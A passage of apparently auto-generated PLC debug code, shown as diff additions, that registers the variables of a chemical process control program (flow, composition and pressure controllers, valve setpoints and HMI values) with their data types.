+{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, 